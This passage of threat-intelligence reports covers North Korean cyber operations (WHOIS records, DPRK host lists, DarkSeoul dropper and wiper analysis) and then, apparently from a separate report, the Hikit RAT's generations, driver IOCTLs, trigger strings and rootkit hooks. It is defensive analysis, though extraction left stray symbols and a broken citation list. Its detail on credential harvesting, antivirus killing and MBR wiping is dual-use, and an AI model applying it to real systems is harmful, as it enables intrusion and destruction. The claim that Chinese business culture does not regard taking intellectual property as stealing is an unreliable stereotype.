regime. Encouraging such ideas could cause those +entities to become a focal point for North Korean cyber attacks. +Due to the fact that North Korean infrastructure is aging and its resources are not able to keep up +with the rest of the world, entities with interesting R&D or IP (intellectual property) - especially +military in nature + could become targets of interest for North Korea. Interest in defense-related +IP and R&D could also stem from North Korea +s relationship with China. In the Chinese business +culture, taking another entity +s IP or R&D is not stealing + it is accepted as business as usual. It is +possible that North Korea, if under Chinese influence, would adopt the same attitude, given the +regime +s limited capacity for homegrown innovation. +Known DPRK targets have been limited primarily to South Korean and U.S. organizations and +government entities. For these targets, prudent measures should include: + + Following traditional defense in depth approaches and security best practices + + Monitoring for malware that disables Korean language antivirus software, such as + that from AhnLab + + To protect against the attack vectors used in North Korean malware campaigns, + an advisable prevention tactic is to focus on hardening update/patch + management systems. These systems are appealing targets due to the potential + for a large impact + Appendix A + WHOIS records +WHOIS record for silibank.net: +Domain Name: silibank.net +Registry Domain ID: +Registrar WHOIS Server: whois.discount-domain.com +Registrar URL: http://www.onamae.com +Updated Date: 2014-03-11 17:27:55.0 +Creation Date: 2006-03-13 13:14:53.0 +Registrar Registration Expiration Date: 2015-03-13 03:14:53.0 +Registrar: GMO INTERNET, INC. +Registrar IANA ID: 49 +Registrar Abuse Contact Email: abuse@gmo.jp +Registrar Abuse Contact Phone: +Domain Status: ACTIVE +Registry Registrant ID: +Registrant Name: Whois Privacy Protection Service by MuuMuuDomain +Registrant Organization: Whois Privacy Protection Service by MuuMuuDomain +Registrant Street1: 2-7-21 Tenjin Chuo-ku +Registrant Street2: Tenjin Prime 8F +Registrant City: Fukuoka-shi +Registrant State/Province: Fukuoka +Registrant Postal Code: 810-0001 +Registrant Country: JP +Registrant Phone: 81-927137999 +Registrant Phone Ext: +Registrant Fax: 81-927137944 +Registrant Fax Ext: +Registrant Email: privacy@whoisprivacyprotection.info +Registry Admin ID: +Admin Name: Whois Privacy Protection Service by MuuMuuDomain +Admin Organization: Whois Privacy Protection Service by MuuMuuDomain +Admin Street1: 2-7-21 Tenjin Chuo-ku +Admin Street2: Tenjin Prime 8F +Admin City: Fukuoka-shi +Admin State/Province: Fukuoka +Admin Postal Code: 810-0001 +Admin Country: JP +Admin Phone: 81-927137999 +Admin Phone Ext: +Admin Fax: 81-927137944 +Admin Fax Ext: +Admin Email: privacy@whoisprivacyprotection.info +Registry Tech ID: + Tech Name: Whois Privacy Protection Service by MuuMuuDomain +Tech Organization: Whois Privacy Protection Service by MuuMuuDomain +Tech Street1: 2-7-21 Tenjin Chuo-ku +Tech Street2: Tenjin Prime 8F +Tech City: Fukuoka-shi +Tech State/Province: Fukuoka +Tech Postal Code: 810-0001 +Tech Country: JP +Tech Phone: 81-927137999 +Tech Phone Ext: +Tech Fax: 81-927137944 +Tech Fax Ext: +Tech Email: privacy@whoisprivacyprotection.info +Name Server: ns1.dns.ne.jp +Name Server: ns2.dns.ne.jp +WHOIS Record for kcna.kp: +inetnum: 175.45.176.0 - 175.45.179.255 +netname: STAR-KP +descr: Ryugyong-dong +descr: Potong-gang District +country: KP +admin-c: SJVC1-AP +tech-c: SJVC1-AP +status: ALLOCATED PORTABLE +mnt-by: APNIC-HM +mnt-lower: MAINT-STAR-KP +mnt-routes: MAINT-STAR-KP +remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +remarks: This object can only be updated by APNIC hostmasters. +remarks: To update this object, please contact APNIC +remarks: hostmasters and include your organisation's account +remarks: name in the subject line. +remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +mnt-irt: IRT-STAR-KP +changed: hm-changed@apnic.net 20091221 +source: APNIC +irt: IRT-STAR-KP +address: Ryugyong-dong Potong-gang District +e-mail: sahayod@loxley.co.th +abuse-mailbox: sahayod@loxley.co.th +admin-c: SJVC1-AP +tech-c: SJVC1-AP +auth: # Filtered + mnt-by: MAINT-STAR-KP +changed: sahayod@loxley.co.th 20120202 +source: APNIC +role: STAR JOINT VENTURE CO LTD - network administrat +address: Ryugyong-dong Potong-gang District +country: KP +phone: +66 81 208 7602 +fax-no: +66 2 240 3180 +e-mail: sahayod@loxley.co.th +admin-c: SJVC1-AP +tech-c: SJVC1-AP +nic-hdl: SJVC1-AP +mnt-by: MAINT-STAR-KP +changed: hm-changed@apnic.net 20091214 +source: APNIC +WHOIS Record for rodong.rep.kp: +inetnum: 175.45.176.0 - 175.45.179.255 +netname: STAR-KP +descr: Ryugyong-dong +descr: Potong-gang District +country: KP +admin-c: SJVC1-AP +tech-c: SJVC1-AP +status: ALLOCATED PORTABLE +mnt-by: APNIC-HM +mnt-lower: MAINT-STAR-KP +mnt-routes: MAINT-STAR-KP +remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +remarks: This object can only be updated by APNIC hostmasters. +remarks: To update this object, please contact APNIC +remarks: hostmasters and include your organisation's account +remarks: name in the subject line. +remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +mnt-irt: IRT-STAR-KP +changed: hm-changed@apnic.net 20091221 +source: APNIC +irt: IRT-STAR-KP +address: Ryugyong-dong Potong-gang District +e-mail: sahayod@loxley.co.th +abuse-mailbox: sahayod@loxley.co.th +admin-c: SJVC1-AP +tech-c: SJVC1-AP +auth: # Filtered + mnt-by: MAINT-STAR-KP +changed: sahayod@loxley.co.th 20120202 +source: APNIC +role: STAR JOINT VENTURE CO LTD - network administrat +address: Ryugyong-dong Potong-gang District +country: KP +phone: +66 81 208 7602 +fax-no: +66 2 240 3180 +e-mail: sahayod@loxley.co.th +admin-c: SJVC1-AP +tech-c: SJVC1-AP +nic-hdl: SJVC1-AP +mnt-by: MAINT-STAR-KP +changed: hm-changed@apnic.net 20091214 +source: APNIC +WHOIS Record for uriminzokkiri.com: +Domain Name : uriminzokkiri.com +PunnyCode : uriminzokkiri.com +Creation Date : 2003-02-09 00:00:00 +Updated Date : 2012-06-28 13:22:18 +Expiration Date : 2015-02-09 00:00:00 +Registrant: +Organization : chaoxianLiuYiYuBianJishe ShenYang Ban SHICHU +Name : Korea 615 Shenyang company +Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 +City : shenyangshi +Province/State : liaoningsheng +Country : china +Postal Code : 123456 +Administrative Contact: +Name : kim sejun +Organization : Shenyang xin neng yuang +Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 +City : shenyangshi +Province/State : liaoningsheng +Country : china +Postal Code : 123456 +Phone Number : +Fax : 86-024-22523102 +Email : hyk1979@hotmail.com +Technical Contact: Name : kim sejun +Organization : Shenyang xin neng yuang +Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 + City : shenyangshi +Province/State : liaoningsheng +Country : china +Postal Code : 123456 +Phone Number : +Fax : 86-024-22523102 +Email : hyk1979@hotmail.com +Billing Contact: +Name : kim sejun +Organization : Shenyang xin neng yuang +Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 +City : shenyangshi +Province/State : liaoningsheng +Country : china +Postal Code : 123456 +Phone Number : +Fax : 86-024-22523102 +Email : hyk1979@hotmail.com +WHOIS Record for ournation-school.com: +Domain Name: ournation-school.com +Registry Domain ID: +Registrar WHOIS Server:whois.paycenter.com.cn +Registrar URL:http://www.xinnet.com +Updated Date:2012-06-28 13:22:20 +Creation Date:2004-10-29 00:00:00 +Registrar Registration Expiration Date:2014-10-29 00:00:00 +Registrar:XINNET TECHNOLOGY CORPORATION +Registrar IANA ID:120 +Registrar Abuse Contact Email: supervision@xinnet.com +Registrar Abuse Contact Phone:+86.1087128064 +Domain Status: +Registry Registrant ID: +Registrant Name:Korea 615 Shenyang company +Registrant Organization:chaoxian liuyiyubianjishe shenyangbanshichu +Registrant Street:shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 +Registrant City:shenyangshi +Registrant State/Province:liaoningsheng +Registrant Postal Code:123456 +Registrant Country:China +Registrant Phone:+86.024 22523102 +Registrant Phone Ext: +Registrant Fax:+86.024 22523102 +Registrant Fax Ext: + Registrant Email:urimanager@silibank.com +Registry Admin ID: +Admin Name:Korea 615 Shenyang company +Admin Organization:Korea 615 Shenyang company +Admin Street:shenyang hepingqu xifudalu 615 hao 2 danyuan 6-1-5 +Admin City:shenyangshi +Admin State/Province:liaoningsheng +Admin PostalCode:123456 +Admin Country:China +Admin Phone:+86.024 22523102 +Admin Phone Ext: +Admin Fax:+86.024 22523102 +Admin Fax Ext: +Admin Email:urimanager@silibank.com +Registry Tech ID: +Tech Name:Korea 615 Shenyang company +Tech Organization:Korea 615 Shenyang company +Tech Street:shenyang hepingqu xifudalu 615 hao 2 danyuan 6-1-5 +Tech City:shenyangshi +Tech State/Province:liaoningsheng +Tech PostalCode:123456 +Tech Country:China +Tech Phone:+86.024 22523102 +Tech Phone Ext: +Tech Fax:+86.024 22523102 +Tech Fax Ext: +Tech Email:urimanager@silibank.com +Name Server:ns13.xincache.com +Name Server:ns14.xincache.com +DNSSEC:unsigned +WHOIS Record for chongryon.com: +Domain Name: chongryon.com +Registry Domain ID: 69711868_DOMAIN_COM-VRSN +Registrar WHOIS Server: whois.melbourneit.com +Registrar URL: http://www.melbourneit.com.au +Updated Date: 2014-03-26T00:31:24Z +Creation Date: 2001-04-20T06:45:46Z +Registrar Registration Expiration Date: 2015-04-20T06:45:46Z +Registrar: Melbourne IT Ltd +Registrar IANA ID: 13 +Registrar Abuse Contact Email: abuse@melbourneit.com.au +Registrar Abuse Contact Phone: +61.386242300 +Domain Status: ok + Registry Registrant ID: +Registrant Name: o guanin +Registrant Organization: o guanin +Registrant Street: "hujimi2-14-15," +Registrant City: chiyodaku +Registrant State/Province: tokyo +Registrant Postal Code: 1028138 +Registrant Country: JP +Registrant Phone: +81.332627111 +Registrant Phone Ext: +Registrant Fax: +Registrant Fax Ext: +Registrant Email: park2@mac.com +Registry Admin ID: +Admin Name: guanin o +Admin Organization: +Admin Street: "hujimi2-14-15," +Admin City: chiyodaku +Admin State/Province: tokyo +Admin Postal Code: 1028138 +Admin Country: JP +Admin Phone: +81.332627111 +Admin Phone Ext: +Admin Fax: +Admin Fax Ext: +Admin Email: park2@mac.com +Registry Tech ID: +Tech Name: Link Club +Tech Organization: Link Club +Tech Street: 5-39-6 Jingumae Shibuya-ku +Tech City: TOKYO +Tech State/Province: 150-0001 +Tech Postal Code: JP +Tech Country: JP +Tech Phone: +81.462643403 +Tech Phone Ext: +Tech Fax: +Tech Fax Ext: +Tech Email: mel-tech@hosting-link.ne.jp +Name Server: USR-NS1.LINKCLUB.JP +Name Server: USR-NS2.LINKCLUB.JP +DNSSEC: unsigned +URL of the ICANN WHOIS Data Problem Reporting System: http://wdrprs.internic.net +>>> Last update of WHOIS database: 2014-05-13T18:15:18Z + WHOIS Record for korea-np.co.jp: +Domain Information: [B%I%a%$%s>pJs] +a. [B%I%a%$%sL>] KOREA-NP.CO.JP +e. [B$=$7$-$a$$] B$+$V$7$-$,$$$7$c B$A$g$&$;$s$7$s$]$&$7$c +f. [BAH?%L>] B3t<02q80] +[B>uBV] Connected (2015/02/28) +[BEPO?G/7nF|] 1997/02/14 +[B@\B3G/7nF|] 1997/06/03 +[B:G=*99?7] 2014/03/01 01:16:34 (JST) + Appendix B + Sites found on North Korean IP space +smtp.star-co.net.kp 175.45.176.10 airkoryo.com.kp 175.45.176.69 +smtp.start-di.net.kp 175.45.176.10 spwebh2.star.net.kp 175.45.176.7 +spinef1.star.net.kp 175.45.176.10 mail.silibank.net.kp 175.45.176.70 +spinef2.star.net.kp 175.45.176.11 kcna.kp 175.45.176.71 +ns1.co.kp 175.45.176.15 gnu.rep.kp 175.45.176.73 +ns1.com.kp 175.45.176.15 vok.rep.kp 175.45.176.75 +ns1.edu.kp 175.45.176.15 friend.com.kp 175.45.176.8 +ns1.gov.kp 175.45.176.15 korelcfund.org.kp 175.45.176.8 +ns1.kptc.kp 175.45.176.15 ns1.cooks.org.kp 175.45.176.8 +ns1.kptc.kp 175.45.176.15 ns1.friend.com.kp 175.45.176.8 +ns1.net.kp 175.45.176.15 ns1.gnu.rep.kp 175.45.176.8 +ns1.org.kp 175.45.176.15 ns1.kcna.kp 175.45.176.8 +ns1.org.kp 175.45.176.15 ns1.koredfund.org.kp 175.45.176.8 +ns1.rep.kp 175.45.176.15 ns1.korelcfund.org.kp 175.45.176.8 +ns2.co.kp 175.45.176.16 ns1.korfilm.com.kp 175.45.176.8 +ns2.com.kp 175.45.176.16 ns1.ksf.com.kp 175.45.176.8 +ns2.edu.kp 175.45.176.16 ns1.naenara.com.kp 175.45.176.8 +ns2.gov.kp 175.45.176.16 ns1.rodong.rep.kp 175.45.176.8 +ns2.kptc.kp 175.45.176.16 ns1.silibank.net.kp 175.45.176.8 +ns2.kptc.kp 175.45.176.16 ns1.star-co.net.kp 175.45.176.8 +ns2.net.kp 175.45.176.16 ns1.star-di.net.kp 175.45.176.8 +ns2.org.kp 175.45.176.16 ns1.star.net.kp 175.45.176.8 +ns2.rep.kp 175.45.176.16 ns1.vok.rep.kp 175.45.176.8 +friend.com.kp 175.45.176.39 ns2.airkoryo.com.kp 175.45.176.8 +friend.com.kp 175.45.176.67 friend.com.kp 175.45.176.9 +gnu.rep.kp 175.45.176.67 gnu.rep.kp 175.45.176.9 +koredfund.org.kp 175.45.176.67 koredfund.org.kp 175.45.176.9 +korelcfund.org.kp 175.45.176.67 korelcfund.org.kp 175.45.176.9 +ksf.com.kp 175.45.176.67 ns2.airkoryo.com.kp 175.45.176.9 +naenara.com.kp 175.45.176.67 ns2.cooks.org.kp 175.45.176.9 +vok.rep.kp 175.45.176.67 ns2.friend.com.kp 175.45.176.9 +rodong.rep.kp 175.45.176.68 ns2.gnu.rep.kp 175.45.176.9 + ns2.kcna.kp 175.45.176.9 friend.com.kp 175.45.177.77 +ns2.koredfund.org.kp 175.45.176.9 koredfund.org.kp 175.45.177.77 +ns2.korelcfund.org.kp 175.45.176.9 korelcfund.org.kp 175.45.177.77 +ns2.korfilm.com.kp 175.45.176.9 naenara.com.kp 175.45.177.77 +ns2.ksf.com.kp 175.45.176.9 vok.rep.kp 175.45.177.77 +ns2.naenara.com.kp 175.45.176.9 mail.chosunexpo.com 175.45.178.101 +ns2.rodong.rep.kp 175.45.176.9 ns3.kptc.kp 175.45.178.173 +ns2.silibank.rep.kp 175.45.176.9 ns3.kptc.kp 175.45.178.173 +ns2.star-co.net.kp 175.45.176.9 ns1.knic.com.kp 175.45.178.8 +ns2.star-di.net.kp 175.45.176.9 ns1.knic.com.kp 175.45.178.8 +ns2.star.net.kp 175.45.176.9 ns1.star.edu.kp 175.45.179.66 +ns2.vok.rep.kp 175.45.176.9 ns1.star.edu.kp 175.45.179.66 +vok.rep.kp 175.45.176.9 email.kp.col.cn 175.45.179.67 +gnu.rep.kp 175.45.177.73 mail.star.edu.kp 175.45.179.69 +vok.rep.kp 175.45.177.75 + Appendix C + Analysis of DarkSeoul Dropper +Dropper +MD5: 9263e40d9823aecf9388b64de34eae54 +Also known as/detected as : + + Dropper-FDH (McAfee) + + Trojan:Win32/Dembr.A (Microsoft) + + Trojan.Jokra (Symantec) +The dropper component that we examined was distributed as a UPX-packed binary. +Installation +When executed it creates the following files in the affected user +s %Temp% directory: + + alg.exe: A legitimate binary used to open SSH connections with remote servers + MD5 e45cd9052dd3dd502685dfd9aa2575ca + Size: 166,912 bytes + + conime.exe: A legitimate binary used to open SSH connections with remote servers + MD5: 6a702342e8d9911bde134129542a045b + Size: 153,600 bytes + + ~pr1.tmp: Payload - A destructive bash script + MD5: dc789dee20087c5e1552804492b042cd + Size: 1,186 bytes + Also known as/detected as: + KillMBR-FBIA (McAfee) + Trojan:SH/Kofornix.A (Microsoft) + Trojan.Jokra (Symantec) + + AgentBase.exe: Payload - Win32 wiper component (see details below) + MD5: db4bbdc36a78a8807ad9b15a562515c4 + Size: 24,576 +Payload +attempts to connect to remote servers and upload a destructive bash script +After determining the location of user profile directories on the affected computer, the malware +searches these directories for configuration files and directories that may be associated with the +connection manager clients mRemote and SecureCRT. + mRemote +an open source tool for centrally managing remote server connections using a GUI +(Kevin Kline, 2008).69 This tool is no longer being actively developed or supported. + SecureCRT +a commercial SSH and Telnet client by VanDyke Software. +If an mRemote installation is located, the dropper reads the configuration file and checks if there +a NODE that is defined with +Username=root +Protocol=SSH +, and a password that is not blank. If + those conditions are satisfied it extracts the information. The password is decrypted after being +extracted. +If a SecureCRT installation is located, the dropper extracts information from sessions that have +Username=root, Protocol=SSH and a saved password. If these conditions are satisfied, the +username, hostname, port, and password are extracted. The password is then decrypted. +After extracting these connection and server details, the dropper uses the previously dropped alg. +exe and conime.exe to attempt to connect remote servers, upload and run the bash script +~pr1.tmp. +The bash script initially checks which UNIX it is running on (of HP-UX, SunOS, Linux, or AIX) and +then attempts to wipe the /kernel, /usr /etc and /home directories, thus rendering the machine +inoperative. +Win32 Wiper component +When the AgentBase.exe component is executed, it first attempts to stop the following processes, +presumably in order to evade detection: + pasvc.exe + policy agent from AhnLab + clisvc.exe + ViRobot ISMS from Hauri +It then enumerates all physical drives and overwrites the first 512 bytes with the string: +princpes +, effectively destroying the MBR (master boot record) of the affected drive. +It continues to look for removable and fixed drives, locates the root directory on these drives, and +then attempts to delete all files and folders in this directory. +Finally, the affected computer is shut down and rebooted, although if the wiping mechanisms +were successful then the machine will not be able to boot. +Learn more at +hp.com/go/hpsr + +Hikit Analysis +Basic Description +Hikit consists of at least two generations of malware that provides basic RAT functionality. The first +generation of Hikit (referred to as +Gen 1 +) operates as a server and requires an externally exposed +network interface in order for an attacker to access the victim machine. The second generation of Hikit +(referred to as +Gen 2 +) uses the more traditional client model and beacons out to an attacker +s C2 +server. While the communication models shifted dramatically between Gen 1 and Gen 2, both +generations of Hikit retain the same basic RAT function consisting of remote command shell, file +management, network proxy and port forwarding. +Both Gen 1 and Gen 2 sub-families of Hikit consist of a main DLL (referred to as +the DLL +) that +contains the RAT functionality; a kernel driver (referred to as +the Driver +) with Gen 2 also employs an +additional component: a loader executable. The driver component of Gen 1 and Gen 2 are drastically +different in their operation and intent. For the Gen 1 sub-family of Hikit, the driver acts as a NDIS +(network) driver that is responsible for interfacing the DLL to the network while preventing a direct +WinSock interface from occurring. The Gen 1 Driver listens to network traffic arriving at the local +network interface and waits for a specific trigger string. The trigger string varies by Driver and DLL +sample. The Gen 2 Driver is a simpler system driver that acts as a rootkit to hide processes, registry +keys and network connections associated with Gen 2 activity on the victim +s system. +Gen 2 uses a standard client-server malware model meaning that the malware no longer requires a +direct Internet-facing network card, no longer uses a network driver for networking, and provides the +ability to network multiple Gen 2 samples behind a firewall with greater ease (from the attacker +perspective). The Gen 2 sub-family, however, no longer employs network stealth provided by the Gen 1 +network driver which exposes the C2 server addresses to analysts. +Each of the Hikit generations contains multiple sub-generations as the author(s) of Hikit have evolved +their code over time. There is a noticeable steep improvement over the code base of Gen 1 Hikit family +during its 2011 development period. The Gen 2 sub-generations share a similar improvement scale +between late 2011 and late 2013. +Evolution +The earliest known Hikit sample dates back to 31 March 2011. Known as the Gen 1.0 sub-generation of +Hikit Gen 1, the first known sample of Hikit deviated from the later traditional Gen 1 model. The Gen 1.0 +sample was a standalone executable whereas subsequent Gen 1 sub-generations use a DLL running +as a service. The Gen 1.0 sample is clearly a work-in-progress. The Gen 1.0 sample, while different +than subsequent sub-generations, does still rely on the Driver component and for the most part the +structure of the code does not differ much going forward into the Gen 1 evolution. +Less than three weeks after Gen 1.0, the author(s) of Hikit move into Gen 1.1. The notable change is +that the Hikit model of using a DLL and driver, which has remained until present day, comes into being. +The code matures slightly between Gen 1.0 and Gen 1.1 but the functionality does not change. Both +Gen 1.0 and Gen 1.1 use plaintext data transmissions. +Development appears to halt on Gen 1 for 4 months between 20 June 2011 and 23 October 2011 +based on a lack of available samples found. During this time the development of Hikit appears to +change locations. Gen 1 samples have Program Database (PDB) file strings that identify the file path of +the Hikit source code. For Gen 1.0 and Gen 1.1 samples, the file path of the Hikit source code is +consistently h:\JmVodServer\hikit. Starting with Gen 1.2, the file path switches to +e:\SourceCode\hikit_new. It is at this time that the functionality of Hikit Gen 1 begins to mature. +In Gen 1.2, the communication between the infected machine and the attacker is encrypted using an +XOR mask. A more subtle change is the renaming of the +socks5 + command to simply +proxy + within +the code. The code within Hikit begins to mature but the overall functionality does not expand beyond +the original set of commands found in Gen 1.0. The other remarkable change within the Gen 1.1 to Gen +1.2 development is the way in which the session handshake trigger operates. In Gen 1.0 and Gen 1.1, +the DLL instructs the Driver to listen for a specific string (typically a HTTP request string) and responds +with another string. In Gen 1.2, the Driver has a hardcoded trigger string (a specific HTTP request +string) and the DLL instructs the Driver to inspect a specific HTTP header field for a specific +hexadecimal value. This moves Gen 1.2 into more of a username/password authentication scheme +whereas previous sub-generations could potentially be accessed by accidental HTTP requests. At the +same time, the Driver responds with a specific value with in the Etag HTTP header field. This places +Gen 1.2 into a more stealth position as a random, non-HTTP compliant response from Gen 1.0 and +Gen 1.1 samples is more obvious than a legitimate HTTP response with a specially crafted Etag +header. +Gen 1.2 +s development cycle appears to exist between 23 October 2011 and 2 November 2011 with +several new samples being found on the Internet having legitimate compile times during this time +window. There is, however, evidence that the development of Hikit Gen 1 and Gen 2 overlap by several +months. The earliest Gen 2 sample known to exist dates to 28 August 2011, two months before the first +known Gen 1.2 sample. The last known Gen 1.2 sample, and by extension, the last known Gen 1 +sample, dates to 9 April 2012. +The first known Gen 2 sub-generation, Gen 2.0 Alpha, much like Gen 1.0, represents an early +development version of the Gen 2 Hikit sub-family. Gen 2.0 Alpha is a stand-alone Windows console +executable that can run as a service executable. Gen 2.0 Alpha supports the same commands as Gen +1.2 with an additional command that returns the infection +s configuration information. +On 9 February 2012 the first known sample for Gen 2.0 Beta is compiled by the developer(s) of Hikit. +Also a stand-alone console executable like Gen 2.0 Alpha, the Gen 2.0 Beta code changes internally +without providing significant functionality improvements with the exception of now the executable uses +a device driver to hide network, file, and registry artifacts related to its operation. Both Gen 2.0 Alpha +and Gen 2.0 Beta still retain PDB file path information within their binaries. During the development +phase of Gen 2.0 Alpha, development of the Gen 2.0 Alpha variants changes locations. First version of +the Gen 2.0 Alpha malware, from 28 August 2011, has the PDB path located in +H:\JmVodServer\Matrix_new2 whereas the file path for later Gen 2.0 Alpha and Gen 2.0 Beta +binaries has the PDB path in E:\SourceCode\Matrix_new which suggests that the source code for +both Gen 1 and Gen 2 existed on the same machine and moved at roughly the same time. This may +indicate either a single developer or a team (or set of teams) with shared resources. +The first known Gen 2.1 binary has a compile date of 17 April 2012. Gen 2.1 represents the first Gen 2 +sub-generation to use an executable-based loader, DLL and driver model, a model that all subsequent +Gen 2 sub-generations employ. The functionality of the Gen 2.1 sub-generation is the same as the +previous generations with no new commands being introduced. Gen 2.1 is the first sub-generation in +the Gen 2 sub-family to introduce 64-bit binaries. +The Gen 2.2 sub-generation appears to have begun on 20 July 2012. Gen 2.2 is notable for altering +where the configuration information of the RAT is stored and using both DLL-based and executable- +based loaders. Also notable is the fact that the sub-generation spans a significant amount of time with +intermittent periods of development. The bulk of the Gen 2.2 samples that have the tell-tale marks of +being the product of a builder have a compile date of 26 July 2013, a full year after the first known Gen +2.2 sample. Between 21 July 2012 and 20 February 2013, there are no known Gen 2.2 binaries. The +two 20 July 2012 samples have different compile times indicating they were not the product of a builder +but rather unique compilations. Between 21 February 2013 and 27 February 2013, there are 4 unique +compilation dates for the DLL component with 7 unique, known Gen 2.2 DLLs. The bulk of Gen 2.2 +samples have a compile date of 26 July 2013. There are approximately 25 known Gen 2.2 DLLs with +the 26 July 2013 compile date. The Gen 2.2 sub-generation appears to exist through at least 19 +September 2013. +The last known Gen 2 sub-generation, Gen 2.3, began on 12 December 2013. Gen 2.3 is notable for its +use of a legitimate SSL certificate as part of the handshake between the infected machine and the +attacker +s C2. The DLL will send a legitimate SSL certificate as a means to disrupt heuristic IDS +sensors that look for encrypted traffic. Another interesting aspect of the Gen 2.3 sub-generation is that +there is no longer a marker to designate the beginning of the embedded configuration. Gen 2.1 and +Gen 2.2 uses a specific string to indicate the beginning of the embedded configuration presumably in +order to allow the builder to locate the configuration space when constructing a new configuration for +the binaries. Gen 2.3, however, uses a specific location instead, requiring the builder to calculate the +specific location using the PE/COFF header of the binary. Also, while Gen 2.1 and Gen 2.2 retain the +configuration within the DLL component, Gen 2.3 stores the configuration within the loader component. +This allows the attackers to configure the loader without having to update the DLL. +The evolution of Hikit is a long and drawn out series of small, incremental development changes. The +important take away from the evolution of Hikit is that the developers for Gen 1 appear to have changed +in late 2011 and development of Gen 2 has a several month overlap with the development and usage +of Gen 1. The following table provides a quick reference to the generational (and sub-generational) +designations of Hikit. + August + 28, 2011 + Timeline Outlined in Appendix A: HiKit Versions +The Driver +The Driver component for Hikit varies based on the specific Hikit sub-family (Gen 1 or Gen 2). As such +it is necessary to describe each in the context of its specific sub-family. +Gen 1 Driver +The Driver component of Gen 1 Hikit variants provides the interface between the victim +s network +interface card (NIC) and the DLL. The Driver is a NDIS (network) driver that integrates into the victim +network stack. The Driver intercepts any and all network communication that traverses the Windows +network stack and potentially removes the data from the network stack under very specific conditions. +When the Driver removes data from the network stack, the Driver stores the removed data in local +buffers for the Gen 1 DLL to query against. The purpose of this behavior is to allow the DLL to interact +with the network without utilizes the WinSock API which could potentially reveal the presence of Hikit. +In order to interact with the Driver, the DLL uses the function +IoDeviceControl +to send commands to +the Driver. The Driver registers itself at both +\Device\w7fw +\DosDevices\w7fw +thereby +allowing the DLL to access the Driver by performing a +CreateFile +request to +\\.\w7fw +\\.\Globals\w7fw in order to obtain a handle to the Driver. The Driver +s interface supports the +following OIDs: + OID Function + 0x12C828 No-op + 0x12C82C Retrieves bytes from the recv queue. + 0x12C830 Add bytes to the xmit queue. + 0x12C838 Set key value (the trigger value) + 0x12C840 Change mode for current process +s channel to 2 + 0x12C844 Activates channel + 0x12C848 Shuts down a channel by flushing all queued packets/data to the network with ACK|FIN + set in the flags + 0x12C84C Returns the current mode for a given channel + 0x12C850 Get the Driver +s version +The Driver will remove data from the network stack only if a new channel is being established. A new +channel occurs when the Driver detects a trigger string. The trigger string is typically a short form HTTP +request with the following trigger strings found in the wild: + Generation(s) Trigger String Authentication Response Value + Value + Gen 1.0, 1.1 GET /password .welcome. + HTTP/1.1\r\n\r\n + Gen 1.2 GET / HTTP/1.1\r\n 75BCD15 HTTP/1.1 200 OK + Pragma: no-cache + Content-Type: text/html + ETag: "{other + digits}75BCD15{other digits}:{3 hex + digits}" + Connection: Keep-Alive + Gen 1.2 POST / HTTP/1.1\r\n 75BCD15 HTTP/1.1 200 OK + Pragma: no-cache + Content-Type: text/html + ETag: "{other + digits}75BCD15{other digits}:{3 hex + digits}" + Connection: Keep-Alive +Up to and including Gen 1.1 Drivers required the DLL to specify the trigger string in addition to the +authentication value whereas Gen 1.2 Drivers had the trigger strings hardcoded. +In Gen 1.2, whenever the Driver detects a trigger string, the Driver inspects the rest of the data +received for the authentication value. If the token follows the trigger string (there is no specific limitation +on how far from the trigger string the password token must be), then the Driver generates a new +channel that the DLL will use as the conduit between the DLL and the client. +The Driver appears to be based off the NDIS example source code PassThru. More specifically, the +author(s) of the Driver appear to have used the modified version of the PassThru example, +PassThruEx, by James Antognini and Thomas Devine from a 2003 blog post1. +Gen 2 Driver +The Gen 2 sub-family, beginning with Gen 2.0 Beta, employs a Windows device driver ( +the Driver +) to +hide aspects of the DLL +s functionality from normal system processes. The Driver is a relatively +straightforward piece of software. It does not attempt to obfuscate its functionality from static analysis +and it hooks a minimum number of kernel API functions in order to hide different pieces of information. +The Driver is based primarily on the open source Agony rootkit2 and it has evidence of some portions of +the code coming directly from a Chinese blog3. +The Driver expose an IOCTL interface that supports the following OIDs: + OID Function + 0x22C000 Add driver (system module) to hide. + 0x22C004 Reveal all hidden items. + 0x22C008 Add IP:Port endpoint to hide. + 0x22E000 No-Op + 0x22FFD0 Remove PID from hidden list. + 0x22FFD4 Add PID to list of PIDs to hide. + 0x22FFD8 Add service to list of services to hide. + 0x22FFE0 Add local port to list of ports to hide. + 0x22FFE4 Currently unused. Evidence suggest this was previously a port hiding function, but it + is no longer functional. + 0x22FFE8 Currently unused. It is unclear the purpose of this function. It takes a string as its + argument. + 0x22FFEC Add directory to list of directories to hide. + 0x22FFF0 Add registry key to list of registry keys to hide. + 0x22FFF4 Add registry key value to list of registry values to hide. + 0x22FFFC Purge all hooks and hidden items ("unhook") +The Driver is capable of hiding processes (by PID, not name), system modules, services, network +connections, listening ports, directories (and by extension, files), as well as registry keys and values. In +order to hide these items, the Driver hooks various Windows Kernel API calls. The following table maps +the items the Driver can hide to the API function that the Driver hooks: + Item API Function Hooked + Process ID ZwDeviceIoControlFile + (PID) + Registry Key ZwEnumerateKey + Registry Value ZwEnumerateValueKey + Directory QueryDirectoryFile +James +Antognini +Thomas +Divine. +Extending +Microsoft +PassThru +NDIS +Intermediate +Driver +Parts: +Address +Blocking +NDIS +Drivers +December +2003 +pudn. +Agony +Rootkit +code, +stability +useful +Driver +Develop +http://en.pudn.com/downloads74/sourcecode/windows/vxd/detail265112_en.html. +April +2007. +CardMagic. +[Reserved] +Module +Hook: +Hiding +Port +Under +Windows +Vista +http://forum.eviloctal.com/archiver/tid- +29604.html. +July +2007. + Item API Function Hooked + Local Listening ZwDeviceIoControlFile + Port + Remote ZwDeviceIoControlFile + Endpoint + Loaded Drivers ZwQuerySystemInformation +In order to hide services, the Driver will access the memory of the services.exe process, locate the +linked list of services and remove the service entry that the Driver wishes to hide. This is a surprisingly +invasive method to obfuscate a process. +Upon activation, the Driver will expose its interface by calling 